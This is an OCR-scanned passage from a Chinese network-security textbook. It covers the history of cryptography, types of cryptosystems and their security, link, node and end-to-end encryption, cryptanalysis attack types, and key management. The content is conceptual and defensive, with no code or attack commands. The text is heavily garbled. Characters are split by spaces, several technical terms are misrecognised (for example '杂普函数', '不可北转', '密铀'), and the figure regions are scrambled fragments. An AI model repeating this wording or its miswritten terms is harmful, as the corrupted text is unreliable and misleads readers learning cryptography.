字 记 载 的 密码 史 。 公 元 前 5 世纪 , 古 斯 巴 达 人 使 用 了 一 种 叫做 天书? 的 器 械 ,这 是 人 类 
历史 上 最 早 使 用 的 密码 器 械 .“ 天 书 ” 是 一 根 用 羊皮 纸 条 紧 紧 缠绕 的 木 棍 ,书写 者 自 上 而 
下 把 文字 写 在 羊皮 纸 条 上 ,然后 把 羊皮 纸 条 解 开 送 出 。 这 些 不 连接 的 文字 看 起 来 毫 无 意 
义 , 除 非 把 羊皮 纸 条 重新 缠 在 一 根 直 径 和 原木 棍 相 同 的 木 棍 上 ,这 样 文字 就 可 以 识 读 出 
来 。 随 着 战争 的 爆发 ,交战 双方 发 展 了 密码 学 。 第 一 次 世界 大 战 是 世界 密码 史上 的 第 一 
个 转折 点 。 第 二 次 世界 大 战 的 爆发 促进 了 密码 学 的 飞速 发 展 。 密 码 学 在 编码 与 破译 的 
斗争 实践 中 逐步 发 展 起 来 。 有 人 把 密码 学 的 发 展 划分 为 3 个 阶段 ， 

(1) 第 一 阶段 (古典 密码 ) ,从 古代 到 1949 年 ,可 以 看 作 是 密码 学 的 前 夜 。 这 个 时 期 
的 密码 技术 可 以 说 是 一 种 艺术 而 不 是 一 种 科学 ,其 数据 的 安全 基于 算法 的 保密 ,密码 学 
专家 是 赁 直觉 和 信念 来 进行 密码 设计 和 分 析 ,而 不 是 推理 和 证 明 。 

【案例 4-3] Phaistos 圆 盘 是 一 种 直径 约 为 160mm 的 黏土 圆 盘 , 约 出 现 于 公元 前 17 
世纪 。 表 面 刘 有 明显 字 间 空格 的 字母 ,至 今 还 没有 被 破译 。 

1883 年 Kerchoffs 第 一 次 明确 提出 了 编码 的 原则 : 加 密 算法 应 建立 在 算法 的 公开 不 
影响 明文 和 密 钥 安全 的 原则 上 。 这 一 原则 已 得 到 普遍 承认 ,成 为 判定 密码 强度 的 衡量 标 
准 , 实 际 上 也 成 为 传统 密码 和 现代 密码 的 分 界线 。 

(2) 第 二 阶段 ,从 1949 年 到 1975 年 。1949 年 ,Shannon 发 表 的 《保密 系统 的 信息 理 
论 ) 一 文 为 对 称 密码 系统 建立 了 理论 基础 ,从 此 密码 学 成 为 一 门 科学 。 人 们 将 此 阶段 使 
用 的 加 密 方法 称 为 传统 加 密 方法 ,其 安全 性 依赖 于 密 钥 的 保密 ,而 不 是 算法 的 保密 。 这 
段 时 期 密码 学 理论 的 研究 工作 进展 不 大 ,公开 的 密码 学 文献 很 少 。 

(3) 第 三 阶段 ,从 1976 年 至 今 。1976 年 Diffie 和 Hellman 发 表 的 文章 (密码 学 的 新 
动向 ) 首 先 证 明了 在 发 送 端 和 接收 端 无 密 钥 传输 的 保密 通信 和 是 可 能 的 ,从 而 开创 了 公 钥 
密码 学 的 新 纪元 。 这 个 时 期 密码 学 技术 得 到 莲 勃 发 展 ,密码 学 技术 趋 于 标准 化 。 

随 着 科学 技术 的 发 展 ,计算 机 的 广泛 应 用 又 为 密码 学 的 进一步 发 展 提出 新 的 客观 要 
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求 。 密 码 学 成 为 计算 机 安全 研究 的 主要 方向 ,不 但 在 计算 机 通信 的 数据 传输 保密 方面 ， 
而 且 在 计算 机 的 操作 系统 和 数据 库 的 安全 保密 方面 的 作用 也 很 突出 ,由 此 产生 了 计算 机 
密码 学 。 计 算 机 密码 学 是 研究 计算 机 信息 加 密 、 解 密 及 其 变换 的 科学 ,是 数学 和 计算 机 
科学 的 交叉 学 科 , 也 是 一 门 新 兴 的 学 科 。 


2. 密码 体制 


密码 体制 是 完成 加 密 和 解密 的 算法 。 通 常 , 数 据 的 加 解密 过 程 是 通过 密码 体制 和 密 
钥 控 制 的 。 密 码 体制 必须 易于 使 用 ,特别 是 应 当 能 够 在 微型 计算 机 使 用 。 密 码 体 制 的 安 
全 性 依赖 于 密 钥 的 安全 性 ,现代 密码 学 不 追求 加 密 算法 的 保密 性 ,而 是 追求 加 密 算 法 的 
完备 性 , 即 攻击 者 在 不 知道 密 钥 的 情况 下 ,无 法 从 算法 找到 突破 口 。 

1) 密码 体制 的 分 类 

按 应 用 技术 方式 和 历史 发 展 阶段 划分 ,密码 体制 可 分 为 以 下 3 种 : 

(1) 手工 密码 。 以 手工 完成 加 密 作 业 或 者 以 简单 器 具 辅 助 操作 的 密码 称 手工 密码 。 
第 一 次 世界 大 战 前 主要 是 这 种 作业 形式 。 

(2) 机 械 密码 。 以 机 械 密 码 机 或 电动 密码 机 来 完成 加 解密 作业 的 密码 称 机 械 密码 。 
这 种 密码 在 第 一 次 世界 大 战 出 现 , 到 第 二 次 世界 大 战 中 得 到 普遍 应 用 。 

(3) 计算 机 密码 。 是 以 计算 机 软件 编程 进行 算法 加 密 为 特点 ,适用 于 计算 机 数据 保 
护 和 网 络 通信 等 广泛 用 途 的 密码 。 

按照 实现 方式 , 现 有 的 密码 体制 分 为 以 下 3 种 : 

(1) 对 称 密码 体制 ,又 称 为 私 钥 密码 体制 . 单 钥 密码 体制 。 其 特点 是 加 解密 双方 在 加 
解密 过 程 中 使 用 相同 或 可 以 推出 本 质 上 等 同 的 密 钥 。 

(2) 非 对 称 密码 体制 。 也 称 公 开 密 钥 密 码 体 制 、 双 钥 密 码 体 制 等 。 其 特点 是 将 加 密 
和 解密 分 开 , 密 钥 成 对 出 现 , 一 个 为 加 密 密 钥 ( 公 开 密 钥 PK) , 另 一 个 是 只 有 解密 人 知道 
的 解密 密 钥 (私有 密 钥 SK) 。 两 个 密 钥 相 关 却 不 相同 ,不 可 能 从 公开 密 钥 推 算出 对 应 的 
私有 密 钥 ,用 公开 密 钥 加 密 的 信息 只 能 使 用 专用 的 解密 密 钥 进行 解密 。 这 种 密码 体制 实 
现 了 多 用 户 加 密 的 信息 只 能 由 一 个 用 户 解读 ,或 一 个 用 户 加 密 的 信息 可 由 多 用 户 解读 。 
现在 大 多 数 公 钥 密码 属于 分 组 密码 ,只 有 概率 密码 体制 属于 流 密码 。 

(3) 单 向 散 列 函数 ,也 称 为 哈 希 (hash) 算 法 、 杂 普 函数 或 消息 摘要 算法 。 它 通过 一 个 
单 向 数学 函数 ,将 任意 长 度 的 一 块 数据 转换 为 一 个 定 长 的 .不 可 北 转 的 数据 。 

按照 时 代 划 分 ,密码 体制 分 为 以 下 两 种 ; 

(1) 传统 密码 体制 。 其 特点 是 加 密 数据 的 安全 性 取决 于 算法 的 安全 性 。 

(2) 现代 密码 体制 。 其 特点 是 算法 公开 ,加 密 数 据 的 安全 性 取决 于 密 钥 的 安 
全 性 。 

2) 安全 的 密码 体制 应 具有 的 性 质 

从 防止 攻击 角度 来 看 ,一 个 安全 的 密码 体制 应 该 具有 如 下 几 个 性 质 : 

(1) 从 密 文 恢复 明文 应 该 是 难 的 ,即使 分 析 者 知道 明文 空间 ,如 明文 是 英语 。 

(2) 从 密 文 计算 出 明文 部 分 信息 应 该 是 难 的 。 

(3) 从 密 文 探测 出 简单 却 有 用 的 事实 应 该 是 难 的 ,如 相同 的 信息 被 发 送 了 两 次 。 
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3) 密码 体制 安全 性 评价 

密码 体制 安全 性 应 从 无 条 件 安全 性 .计算 安全 性 .可 证 明 安全 性 几 个 方面 评价 。 

(1) 无 条 件 安全 性 。 如 果 一 个 密码 体制 满足 条 件 : 无 论 有 多 少 可 使 用 的 密 文 ,都 不 
足以 唯一 地 确定 密 文 所 对 应 的 明文 , 则 称 该 密码 体制 是 无 条 件 安全 的 。 例 如 只 有 单个 的 
明文 用 给 定 的 密 钥 加 密 。 移 位 密码 和 代 换 密码 都 是 无 条 件 安全 的 。 一 次 一 密 乱 码 本 
(one-time pad) 对 于 唯 密 文 攻 击 是 无 条 件 安全 的 。 因 为 敌手 即使 获得 很 多 密 文 信息 , 具 
有 无 限 的 计算 资源 ,仍然 不 能 获得 明文 的 任何 信息 。 如 果 一 个 密码 体制 对 于 唯 密 文 攻击 
是 无 条 件 安全 的 ,我们 称 该 密码 体制 具有 完善 保密 性 (perfect secrecy) 。 如 果 明 文 空 间 是 
自然 语言 ,所 有 其 他 的 密码 系统 在 唯 密 文 攻击 中 都 是 可 破 的 ,因为 只 要 简单 地 一 个 接 一 
个 地 去 试 每 种 可 能 的 密 钥 ,并 且 检 查 所 得 明文 是 否 都 在 明文 空间 中 即 可 破解 ,这 种 方法 
叫做 蛮 力 攻击 (brute force attack), 

(2) 计算 安全 性 。 密 码 学 更 关心 在 计算 上 不 可 破译 的 密码 系统 。 如 果 一 个 密码 体制 
最 好 的 算法 满足 以 下 标准 : 破译 密码 的 代价 超出 密 文 信息 的 价值 ,破译 密码 的 时 间 超 出 
密 文 信息 的 有 效 生命 期 ,那么 ,这 个 密码 体制 被 认为 在 计算 上 是 安全 的 。 实 际 上 ,密码 体 
制 对 某 一 种 类 型 的 攻击 (如 蛮 力 攻击 ) 可 能 是 计算 上 安全 的 ,但 对 其 他 类 型 的 攻击 可 能 是 
计算 上 不 安全 的 。 

(3) 可 证 明 安全 性 。 另 一 种 安全 性 度量 是 把 密码 体制 的 安全 性 归 约 为 某 个 经 过 深入 
研究 的 数学 难题 。 例 如 ,如 果 给 定 的 密码 体制 是 可 以 破解 的 ,那么 就 存在 一 种 有 效 的 方 
法 解决 大 数 的 因子 分 解 问题 ,而 因子 分 解 问题 目前 不 存在 有 效 的 解决 方法 ,于 是 称 该 密 
码 体 制 是 可 证 明 安 全 的 , 即 可 证 明 攻 破 该 密码 体制 比 解决 大 数 因 子 分 解 问题 更 难 。 可 证 
明 安 全 性 只 是 说 明 密 码 体制 的 安全 与 一 个 问题 是 相关 的 ,并 没有 证 明 密 码 体 制 是 安全 
的 ,可 证 明 安 全 性 也 有 时 候 被 称 为 归 约 安全 性 。 


413 数据 及 网 络 加 密 方式 


网 络 中 数据 的 存在 方式 有 两 种 : 存 于 存储 器 中 和 存在 于 通信 传输 中 ,为 保证 网 络 
中 的 数据 安全 ,利用 密码 技术 实现 数据 加 密 是 很 有 效 的 方式 。 数 据 加 密 方式 的 划分 如 
图 4-3 所 示 。 


单 级 信息 保密 
存储 加 密 
4 分 组 (多 级 ) 信 息 保 密 


数据 加 密 221 链 路 加 密 
通信 加 密 长 一 | 结 点 加 密 
TYT 


图 4-3 数据 加 密 方 式 的 划分 


1. 存储 加 密 
存储 加 密 也 称 为 文件 加 密 ,是 对 存储 数据 进行 的 加 密 , 它 主要 是 通过 访问 控制 实现 
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的 。 存 储 加 密 分 单 级 加 密 和 多 级 (或 称 分 级 ) 两 种 ,在 控制 上 一 方面 与 用 户 或 用 户 组 相 
关 , 男 一 方面 与 数据 有 关 。 

(1) 单 级 数据 加 密 。 是 指 对 需要 进行 加 密 的 数据 一 视 同仁 ,不 对 这 些 数据 进行 加 密 
级 别 分 类 的 加 密 方式 。 

(2) 多 级 数据 加 密 。 是 指 对 需要 进行 加 密 的 数据 按 数 据 的 重要 程度 分 成 若干 个 加 密 
等 级 的 加 密 方式 。 数 据 加 密 中 ,对 用 户 或 用 户 组 的 访问 控制 被 称 为 特权 。 许 多 实际 的 局 
域 网 系统 都 采用 两 级 特权 实现 加 密 。 单 级 数据 加 密 的 实现 比较 简单 ,而 多 级 数据 加 密 的 


2. 通信 加 密 


通信 加 密 是 对 通信 过 程 中 传输 的 数据 进行 加 密 。 在 计算 机 网 络 系 统 中 ,数据 加 密 方 
式 有 链 路 加 密 ` 结 点 加 密 和 端 - 端 加 密 3 种 方式 。 

1) 链 路 加 密 

链 路 加 密 是 目前 最 常用 的 一 种 加 密 方法 ,通常 用 硬件 在 网 络 层 以 下 的 物理 层 和 数据 
链 路 层 中 实现 , 它 用 于 保护 通信 结 点 间 传 输 的 数据 。 这 种 加 密 方式 比较 简单 ,实现 起 来 
也 比较 容易 ,只 要 把 一 对 密码 设备 安装 在 两 个 结 点 间 的 线路 上 , 即 把 密码 设备 安装 在 结 
点 和 调制 解 调 器 之 间 ,使 用 相同 的 密 钥 即 可 。 用 户 没有 选择 的 余地 ,也 不 需要 了 解 加 密 
技术 的 细节 。 一 旦 在 一 条 线路 上 采用 链 路 加 密 ,往往 需要 在 全 网 内 都 采用 链 路 加 密 。 
图 4-4 表示 了 这 种 加 密 方式 的 原理 。 这 种 方式 在 邻近 的 两 个 结 点 之 间 的 链 路 上 ,传送 的 
数据 是 加 密 的 ,而 在 结 点 中 的 信息 是 以 明文 形式 出 现 的 。 链 路 加 密 时 , 报 文 和 报头 都 应 
加 密 。 


ma | | Ta | m= | [| .| | ms 
(发 方 ) 加 窗 解密 (交换 中 心 ) 加 密 解密 ( 收 方 ) 


数据 (明文 ) 


i 
1 
I! 
1 
. 
1 


数据 (明文 ) 
4-4 链 路 加 密 方式 


链 路 加 密 方式 对 用 户 是 透明 的 , 即 加 密 操 作 由 网 络 自动 进行 ,用 户 不 能 干预 加 解密 
过 程 。 这 种 加 密 方式 可 以 在 物理 层 和 数据 链 路 层 实 施 ,主要 以 硬件 完成 , 它 用 以 对 信息 
或 链 路 中 可 能 被 截获 的 那 一 部 分 信息 进行 保护 。 这 些 链 路 主要 包括 专用 线路 、. 电 话 线 、 
电缆 光缆、 微波 和 卫星 通道 等 。 

2) 结 点 加 密 

结 点 加 密 是 链 路 加 密 的 改进 ,其 目的 是 克服 链 路 加 密 在 结 点 处 易 遭 非法 存 取 的 缺 
点 。 结 点 加 密 在 协议 传输 层 上 进行 ,是 对 源 点 和 目标 结 点 之 间 传 输 的 数据 进行 加 密 保 
护 。 它 与 链 路 加 密 类 似 , 只 是 加 密 算 法 要 组 合 在 依附 于 结 点 的 加 密 模 件 中 ,其 加 密 原 理 
如 图 4-5 所 示 。 这 种 加 密 方式 ,即使 在 结 点 也 不 会 出 现 明 文 。 这 种 加 密 方 式 可 提供 用 户 
结 点 间 连 续 的 安全 服务 ,也 可 用 于 实现 对 等 实体 鉴别 。 结 点 加 密 时 ,数据 在 发 送 结 点 和 
接收 结 点 是 以 明文 形式 出 现 的 ;而 在 中 间 结 点 ,加 密 后 的 数据 在 一 个 安全 模块 内 部 进行 
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密 钥 转换 ,即将 上 一 结 点 过 来 的 密 文 先 解密 ,再 用 另 一 个 密 钥 加 密 。 


数据 (明文 ) | 结 点 交换 中 心 结 点 | 数据 (明文 ) 
— 八方 | 一 天 一 G WD) —— 
加 密 = 解密 
| | i 
密 钥 A 解密 。 明文 ”加 密 密 钥 B 
| |! 
密 钥 A “HB 


4-5 结 点 加 密 方 式 


结 点 加 密 也 是 在 每 条 链 路 上 使 用 一 个 专用 密 钥 , 由 于 从 一 条 链 路 到 另 一 条 链 路 的 密 
钥 使 用 有 可 能 不 同 , 必 须 进行 转换 。 从 一 个 密 钥 到 另 一 个 密 钥 的 转换 是 在 保密 模块 中 进 
行 的 ,这 个 模块 设 在 结 点 中 央 处 理 装 置 中 ,可 以 起 到 一 种 外 围 设备 的 作用 。 所 以 明文 数 
据 不 通过 结 点 ,而 只 存在 于 保密 模块 中 。 要 注意 的 是 : 相当 多 的 报 文 数据 在 进行 路 由 选 
择 时 也 要 对 信息 加 密 , 这 样 结 点 中 央 处 理 装 置 就 能 恰当 地 选 定 数据 的 传送 线路 。 

3) 端 - 端 加 密 

网 络 层 以 上 的 加 密 通常 称 为 端 - 端 加 密 。 端 - 端 加 密 是 面向 网 络 高 层 主体 进行 的 加 
密 , 即 在 协议 表示 层 上 对 传输 的 数据 进行 加 密 , 而 不 对 下 层 协议 信息 加 密 。 协 议 信息 以 
明文 形式 传输 ,用 户 数据 在 中 间 结 点 不 需要 加 密 。 

端 - 端 加 密 一 般 由 软件 来 完成 。 在 网 络 高 层 进行 加 密 , 不 需要 考虑 网 络 低层 的 线路 、 
调制 解 调 器 .接口 与 传输 码 ,但 用 户 的 联机 自动 加 密 软 件 必 须 与 网 络 通信 协议 软件 完全 
结合 ,而 各 厂家 的 通信 协议 软件 往往 又 各 不 相同 ,因此 目前 的 端 - 端 加 密 往往 是 采用 脱 机 
调用 方式 。 端 - 端 加 密 也 可 以 用 硬件 来 实现 ,不 过 该 加 密 设 备 要 么 能 识别 特殊 的 命令 字 ， 
要 么 能 识别 低层 协议 信息 ,而 且 仅 对 用 户 数据 进行 加 密 , 使 用 硬件 实现 往往 有 很 大 难度 。 
在 大 型 网 络 系统 中 ,交换 网 络 在 多 个 发 送 方 和 接收 方 之 间 传 输 的 时 候 , 用 端 - 端 加 密 是 比 
较 合适 的 。 端 - 端 加 密 往往 以 软件 的 形式 实现 ,并 在 应 用 层 或 表示 层 上 完成 。 端 - 端 加 密 
原理 如 图 4-6 所 示 。 采 用 这 种 加 密 方 式 ,数据 在 通过 各 结 点 传输 时 一 直 得 到 保护 ,只 是 在 
终点 才 进 行 解密 。 在 数据 传输 的 整个 过 程 中 ,以 一 个 不 确定 的 密 钥 和 算法 进行 加 密 。 在 
中 间 结 点 和 有 关 安 全 模块 内 永远 不 会 出 现 明文 。 采 用 端 - 端 加 密 或 结 点 加 密 时 ,只 加 密 报 
文 ,不 加 密 报头 。 

4) 加 密 传输 方式 的 比较 

数据 加 密 变换 使 数据 通信 更 安全 ,但 不 能 保证 在 传输 过 程 中 绝对 不 会 泄密 。 因 为 在 
传输 过 程 中 还 有 泄密 的 隐患 。 

采用 链 路 加 密 方式 ,从 起 点 到 终点 要 经 过 许多 中 间 结 点 ,在 每 个 结 点 均 要 暴露 明文 
( 结 点 加 密 方法 除外 ) ,如 果 链 路 上 的 某 一 结 点 安全 防护 比较 薄弱 ,那么 按照 木 桶 原理 ( 木 
桶 水 量 由 最 低 的 一 块 木板 决定 ) ,虽然 采取 了 加 密 措 施 , 但 整个 链 路 的 安全 水 平 只 相当 于 
最 薄弱 的 结 点 处 的 安全 状况 。 

采用 端 - 端 加 密 方式 ,只 是 发 送 方 加 密 报 文 ,接收 方 解 密 报 文 ,中 间 结 点 不 必 加 解密 ， 
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发 送 方 接收 方 
密 铀 A || -| 密 铀 B 
加 密 交换 网 络 一 一 一 解密 
—— 
密 钥 X 密 铀 X 
长 期 密 钥 密 钥 A 加 密 ||_ 作 临 时 密 钥 用 的 
存储 器 É l 随机 数 发 生 器 
加 密 || ， 1 数据 传输 解密 
| 
数据 pix 门 交换 网 数据 「 这 个 X 
-一 | 
! 密 广 | 


4-6” 端 - 端 加 密 方式 


也 就 不 需要 密码 装置 。 此 外 ,加 密 可 采用 软件 实现 ,使 用 起 来 很 方便 。 在 端 - 端 加 密 方式 
下 ,每 对 用 户 之 间 都 存在 一 条 虚拟 的 保密 信道 ,每 对 用 户 应 共享 密 钥 (传统 密码 保密 体 
制 , 非 公 钥 体 制 下 ), 所 需 的 密 钥 总 数 等 于 用 户 对 的 数目 。 对 于 个 用 户 , 若 两 两 通信 , 共 
需 密 钥 n(n 一 1)/2 种 ,每 个 用 户 需 n 一 1 种 。 这 个 数目 将 随 网 上 通信 用 户 的 增加 而 增加 。 
为 安全 起 见 , 每 隔 一 段 时 间 还 要 更 换 密 钥 , 有 时 甚至 只 能 使 用 一 次 密 钥 , 密 钥 的 用 量 
很 大 。 

采用 链 路 加 密 时 ,每 条 物理 链 路 上 ,不 管用 户 多 少 , 都 可 使 用 一 种 密 钥 。 在 极限 情况 
下 ,每 个 结 点 都 与 男 外 一 个 单独 的 结 点 相连 , 密 钥 的 数目 也 只 是 n(n 一 1)/2 种 。 这 里 7 
是 结 点 数 而 非 用 户 数 ,一 个 结 点 一 般 有 多 个 用 户 。 

从 身份 认证 的 角度 看 , 链 路 加 密 只 能 认证 结 点 而 不 是 用 户 。 使 用 结 点 A 密 钥 的 报 文 
仅 保 证 它 来 自 结 点 A。 报 文 可 能 来 自 A 的 任何 用 户 , 也 可 能 来 自 另 一 个 路 过 结 点 A 的 
用 户 。 因 此 链 路 加 密 不 能 提供 用 户 认 证 。 端 - 端 加 密 对 用 户 是 可 见 的 ,可 以 看 到 加 密 后 的 
结果 ,起 点 .终点 很 明确 ,可 以 进行 用 户 认 证 。 

总 之 , 链 路 加 密 对 用 户 来 说 比较 容易 ,使 用 的 密 钥 较 少 ,而 端 - 端 加 密 比 较 灵 活 , 用 户 
可 见 。 对 链 路 加 密 中 各 结 点 安全 状况 不 放心 的 用 户 也 可 使 用 端 - 端 加 密 方式 。 

讨论 思考 

(1) 简 述 学 习 密 码 技 术 的 意义 。 

(2) 简 述 数据 传输 加 密 和 数据 存储 加 密 的 特点 。 

(3) 多 级 数据 加 密 可 以 代替 单 级 数据 加 密 吗 ? 为 什么 ? 
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42 密码 破译 与 密 钥 管理 技术 


421 密码 破译 概述 


密码 破译 是 在 不 知道 密 钥 的 情况 下 恢复 出 密 文中 隐藏 的 明文 信息 。 密 码 破 译 也 是 
对 密码 体制 的 攻击 。 成 功 的 密码 破译 能 恢复 出 明文 或 密 钥 ,也 能 够 发 现 密码 体制 的 
弱点 。 

在 传输 过 程 中 ,除了 合法 的 接收 者 外 ,还 有 非 授权 者 , 非 授权 者 通过 各 种 办 法 在 信息 
传输 过 程 中 截取 信息 (如 搭 线 窃 听 、` 电 磁 窃 听 \ 声 音 窃 听 等 ) ,因此 机 密 信 息 在 网 络 中 传输 
通常 要 进行 加 密 , 但 有 时 还 是 能 够 被 非 授 权 用 户 截 获 ,通过 密码 破译 获得 明文 甚至 是 密 
钥 ,使 机 密 泄露 ,如 图 4-7 所 示 。 

信息 通道 


gaa U 密码 分 析 者 -| 密码 分 析 |=. 明文 或 密 钥 


图 4-7 密码 破译 简化 模型 


加 密 强度 取决 于 3 个 主要 因素 : 

(1) 算法 的 强度 。 例 如 ,除了 尝试 所 有 可 能 的 密 钥 组 合 之 外 的 任何 数学 方法 都 不 能 
使 信息 被 解密 。 

(2) 密 钥 保密 性 。 数 据 的 保密 程度 直接 与 密 钥 的 保密 程度 相关 ,注意 区 分 密 钥 和 算 
法 ,算法 不 需要 保密 ,被 加 密 的 数据 先 与 密 钥 共 同 使 用 ,然后 再 通过 加 密 算法 进行 加 密 。 

(3) 密 钥 长 度 。 密 钥 的 长 度 以 位 为 单位 ,根据 加 密 和 解密 的 应 用 程序 ,在 密 钥 的 长 度 
上 加 上 一 位 则 相当 于 把 可 能 的 密 钥 的 总 数 乘 以 二 倍 , 简 单 地 说 构成 一 个 任意 给 定 长 度 的 
密 钥 的 位 的 可 能 组 合 的 个 数 可 以 被 表示 为 2 的 n 次 方 ,这 里 的 是 一 个 密 钥 的 长 度 , 因 
此 ,一 个 40 位 密 钥 的 所 有 可 能 将 是 2 的 40 次 方 或 1 099 511 627 776 种 ,与 之 形成 鲜明 
对 比 的 是 现代 计算 机 的 速度 。 

【案例 4-4] 评测 算法 的 强度 。 算 法 向 公众 公开 的 时 间 越 长 , 受 攻击 或 者 被 破解 的 
机 会 就 越 多 ,这 也 和 公开 的 程度 有 关系 ,如 果 完 全 不 知道 算法 的 复杂 性 ,破解 是 非常 困 
难 的 。 


422 密码 破译 方法 和 防范 
1. 密 钥 的 穷尽 搜索 


破译 密 文 最 简单 的 方法 就 是 尝试 所 有 可 能 的 密 钥 组 合 。 假 设 破译 者 有 识别 正确 解 
密 结 果 的 能 力 , 经 过 多 次 密 钥 尝试 ,最 终 会 有 一 个 密 钥 让 破译 者 得 到 原文 ,这 个 过 程 就 称 
为 密 钥 的 穷尽 搜索 ,如 图 4-8 所 示 。 


s= snapuana 


105 


密 : 
密 钥 2 密 钥 3 密 钥 n 
1 1 
错误 报 文 错误 报 文 错误 报 文 | | 正确 报 广 
图 4-8 密 钥 的 穷尽 搜索 示意 图 
2. 密码 分 析 


在 不 知道 密 钥 的 情况 下 ,利用 数学 方法 破译 密 文 或 找到 密 钥 的 方法 称 为 密码 分 析 
(cryptanalysis) 。 密 码 分 析 有 两 个 基本 的 目标 : 利用 密 文 发 现 明文 ;利用 密 文 发 现 密 钥 。 
根据 密码 分 析 者 破译 (或 攻击 ) 时 已 具备 的 前 提 条 件 , 通 常人 们 将 密码 分 析 攻 击 法 分 为 4 
种 类 型 ,如 图 4-9 所 示 。 


密码 分 析 攻击 


I 
| I 


唯 密 文 攻击 ] 已 知 明文 攻击 [选择 明文 攻击 混 择 密 文 攻击 ] 
图 4-9 密码 分 析 攻 击 


(1) 唯 密 文 攻击 (ciphertext-only attack)。 在 这 种 方法 中 ,密码 分 析 员 已 知 加 密 算 
法 ,掌握 了 一 段 或 几 段 要 解密 的 密 文 ,通过 对 这 些 截获 的 密 文 进行 分 析 得 出 明文 或 密 钥 。 
唯 密 文 攻击 是 最 容易 防范 的 ,因为 攻击 者 拥有 的 信息 量 最 少 。 但 是 在 很 多 情况 下 ,分析 
者 可 以 得 到 更 多 的 信息 。 如 捕获 到 一 段 或 更 多 的 明文 信息 及 相应 的 密 文 ,也 有 可 能 知道 
某 段 明文 信息 的 格式 。 

(2) 已 知 明 文 攻 击 (known-plaintext attack) 。 在 这 种 方法 中 ,密码 分 析 员 已 知 加 密 
算法 ,掌握 了 一 段 明文 和 对 应 的 密 文 , 目 的 是 发 现 加 密 的 密 钥 。 在 实际 使 用 中 ,获得 与 某 
些 密 文 所 对 应 的 明文 是 可 能 的 。 

(3) 选择 明文 的 破译 (chosen-plaintext attack) 。 在 这 种 方法 中 ,密码 分 析 员 已 知 加 
密 算法 ,设法 让 对 手 加 密 一 段 分 析 员 选 定 的 明文 ,并 获得 加 密 后 的 密 文 ,目的 是 确定 加 密 
的 密 钥 。 差 别 比 较 分 析 法 也 是 选 定 明文 攻击 法 的 一 种 ,密码 分 析 员 设法 让 对 手 加 密 一 组 
相似 却 差 别 细微 的 明文 ,然后 比较 它们 加 密 后 的 结果 ,从 而 获得 加 密 的 密 钥 。 

(4) 选择 密 文 攻击 (chosen-ciphertext attack)。 密 码 分 析 者 可 得 到 所 需要 的 任何 密 
文 所 对 应 的 明文 (这 些 明文 可 能 是 不 明了 的 ) ,解密 这 些 密 文 所 使 用 的 密 钥 与 解密 待 解 的 
密 文 的 密 钥 是 一 样 的 。 它 在 密码 分 析 技 术 中 很 少 用 到 。 

上 述 4 种 攻击 类 型 的 强度 按 序 递增 ,如 果 一 个 密码 系统 能 抵抗 选择 明文 攻击 ,那么 
它 当 然 能 够 抵抗 唯 密 文 攻击 和 已 知 明文 攻击 。 
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3. 其 他 密码 破译 方法 


除 密 钥 的 穷尽 搜索 和 密码 分 析 外 ,实际 生活 中 , 破 密 者 更 可 能 真 对 人 机 系统 的 弱点 
进行 攻击 ,而 不 是 攻击 加 密 算 法 本 身 。 

利用 加 密 系统 实现 中 的 缺陷 或 漏洞 等 都 是 破译 密码 的 方法 ,虽然 这 些 方法 不 是 密码 
学 所 研究 的 内 容 , 但 对 于 每 一 个 使 用 加 密 技术 的 用 户 来 说 是 不 可 忽视 的 问题 ,甚至 比 加 
密 算法 本 身 更 为 重要 。 常 见 的 破译 方法 如 下 : 

(1) 骗取 用 户口 令 密 码 。 

(2) 在 用 户 输入 口令 时 ,应 用 各 种 技术 手段 "窥视 ?或 “偷窃 ”口令 内 容 。 

(3) 利用 加 密 系统 实现 中 的 缺陷 破译 。 

(4) 对 用 户 使 用 的 密码 系统 偷梁换柱 。 

(5) 从 用 户 工作 生活 环境 获得 未 加 密 的 保密 信息 ,如 进行 “垃圾 分 析 ”。 

(6) 让 口令 的 另 一 方 透露 口令 或 相关 信息 。 

(7) 威胁 用 户 交 出 密码 。 


4. 防范 密码 破译 的 措施 


防止 密码 破译 ,除了 要 从 思想 上 加 以 重视 外 ,采取 的 具体 措施 如 下 : 

(1) 强化 加 密 算 法 。 通 过 增加 加 密 算法 的 破译 复杂 程度 和 破译 的 时 间 进 行 密 码 保 
护 。 如 加 长 加 密 系 统 的 密 钥 长 度 ,一 般 在 其 他 条 件 相同 的 情况 下 , 密 钥 越 长 破译 越 困 难 ， 
加 密 系统 也 就 越 可 靠 。 

(2) 采用 动态 会 话 密 钥 。 每 次 会 话 所 使 用 的 密 钥 不 相同 。 

(3) 定期 更 换 加 密会 话 的 密 钥 。 

【案例 4-5】 没有 一 种 密码 技术 是 完全 攻 不 破 的 ,但 是 ,就 现在 使 用 的 密码 技术 来 
说 ,暴力 破解 一 个 加 密 信 息 要 用 几 十 年 、 几 百年 或 数 千年 的 时 间 。 一 般 认 为 到 那 时 信息 
已 经 没有 价值 了 。 


423” 密 钥 管理 技术 


密 钥 管 理 是 指 对 所 用 密 钥 生 命 周期 的 全 过 程 实施 的 安全 保密 管理 ,包括 密 钥 的 产 
生存 储 、 分 配 、 使 用 和 销毁 等 一 系列 技术 问题 。 密 钥 管理 的 目的 就 是 确保 密 钥 的 安全 
性 , 即 密 钥 的 真实 性 和 有 效 性 ,进而 保证 数据 保密 系统 的 安全 性 。 因 此 , 密 钥 管理 是 数据 
加 解密 技术 中 的 重要 一 环 , 其 在 整个 保密 系统 中 占有 重要 地 位 。 若 密 钥 得 不 到 合理 的 保 
护 和 管理 ,无 论 算法 设计 得 多 么 精巧 和 复杂 ,保密 系统 也 是 脆弱 的 。 密 钥 管 理 的 主要 任 
务 是 如 何在 公用 数据 网 上 安全 地 传递 密 钥 而 不 被 窃取 。 

密 钥 管理 包括 管理 方式 、 密 钥 生 成 、 密 钥 存储 和 保护 、 密 钥 分 配 和 传递 、 密 钥 备份 和 
销毁 等 ,所 有 管理 过 程 都 是 为 了 正确 地 解决 密 钥 从 生成 到 使 用 全 过 程 的 安全 性 和 实用 
性 ,另外 ,还 涉及 密 钥 的 行政 管理 制度 和 管理 人 员 的 素质 。 

(1) 管理 方式 。 在 密 钥 的 保护 中 ,通常 采用 层次 化 的 保护 方式 。 密 钥 的 分 层 保护 也 
叫 主 密 钥 保 护 体制 , 它 是 以 对 称 密 钥 为 基础 的 管理 体制 。 该 体制 可 把 密 钥 分 为 几 层 ,高 
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一 层 密 钥 保护 低 一 层 密 钥 。 一 般 把 密 钥 分 为 主 密 钥 、 辅 助 主 密 钥 和 会 话 密 钥 3 个 层次 。 
